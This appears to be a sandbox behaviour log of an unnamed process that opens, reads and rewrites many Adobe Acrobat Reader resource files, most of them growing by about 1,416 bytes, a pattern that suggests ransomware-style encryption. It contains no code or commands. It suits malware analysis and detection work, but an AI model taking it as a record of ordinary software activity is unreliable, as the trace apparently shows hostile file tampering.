File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-tool-view.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_2x.png, size = 611, size_out = 611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_2x.png, size = 2027	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\cs-cz\ui-strings.js, size = 1139, size_out = 1139	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\cs-cz\ui-strings.js, size = 2555	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hr-hr\ui-strings.js, size = 1138, size_out = 1138	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hr-hr\ui-strings.js, size = 2554	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\ui-strings.js, size = 1115, size_out = 1115	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\ui-strings.js, size = 2531	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugin.js, size = 921, size_out = 921	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugin.js, size = 2337	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\de-de\ui-strings.js, size = 1266, size_out = 1266	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\de-de\ui-strings.js, size = 2682	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\it-it\ui-strings.js, size = 1243, size_out = 1243	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\it-it\ui-strings.js, size = 2659	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sk-sk\ui-strings.js, size = 1266, size_out = 1266	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sk-sk\ui-strings.js, size = 2682	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\createpdfupsell-app-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\createpdfupsell-app-tool-view.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-si\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-si\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-il\ui-strings.js, size = 1317, size_out = 1317	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-il\ui-strings.js, size = 2733	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ko-kr\ui-strings.js, size = 1383, size_out = 1383	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ko-kr\ui-strings.js, size = 2799	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sv-se\ui-strings.js, size = 1349, size_out = 1349	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sv-se\ui-strings.js, size = 2765	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\plugin.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\plugin.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\plugin.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\de-de\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\de-de\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\de-de\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\it-it\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\it-it\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\it-it\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sk-sk\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-mobile.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-mobile.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main-selector.css, size = 1194, size_out = 1194	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main-selector.css, size = 2610	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-il\ui-strings.js, size = 1245, size_out = 1245	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-il\ui-strings.js, size = 2661	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ko-kr\ui-strings.js, size = 1318, size_out = 1318	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ko-kr\ui-strings.js, size = 2734	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sv-se\ui-strings.js, size = 1268, size_out = 1268	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sv-se\ui-strings.js, size = 2684	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\rhp\editpdf-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\rhp\editpdf-tool-view.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\rhp\editpdf-tool-view.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\rhp\editpdf-tool-view.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\example_icons2x.png, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\en-il\ui-strings.js, size = 1151, size_out = 1151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\en-il\ui-strings.js, size = 2567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ko-kr\ui-strings.js, size = 1182, size_out = 1182	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ko-kr\ui-strings.js, size = 2598	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sv-se\ui-strings.js, size = 1161, size_out = 1161	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sv-se\ui-strings.js, size = 2577	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\adobe_sign_tag.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\adobe_sign_tag.png, size = 1229, size_out = 1229	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\adobe_sign_tag.png, size = 2645	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\adobe_sign_tag.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\adobe_sign_tag.png, size = 1229, size_out = 1229	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\adobe_sign_tag.png, size = 2645	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_AddBlue@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_AddBlue@1x.png, size = 370, size_out = 370	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_AddBlue@1x.png, size = 1786	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_AddBlue@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_AddBlue@1x.png, size = 370, size_out = 370	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_AddBlue@1x.png, size = 1786	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\check.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\check.cur, size = 7598, size_out = 7598	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\check.cur, size = 9014	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\check.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\check.cur, size = 7598, size_out = 7598	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\check.cur, size = 9014	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\x.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\x.cur, size = 7598, size_out = 7598	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\x.cur, size = 9014	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\es-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\es-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\es-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nl-nl\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nl-nl\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nl-nl\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ui-strings.js, size = 1147, size_out = 1147	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ui-strings.js, size = 2563	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
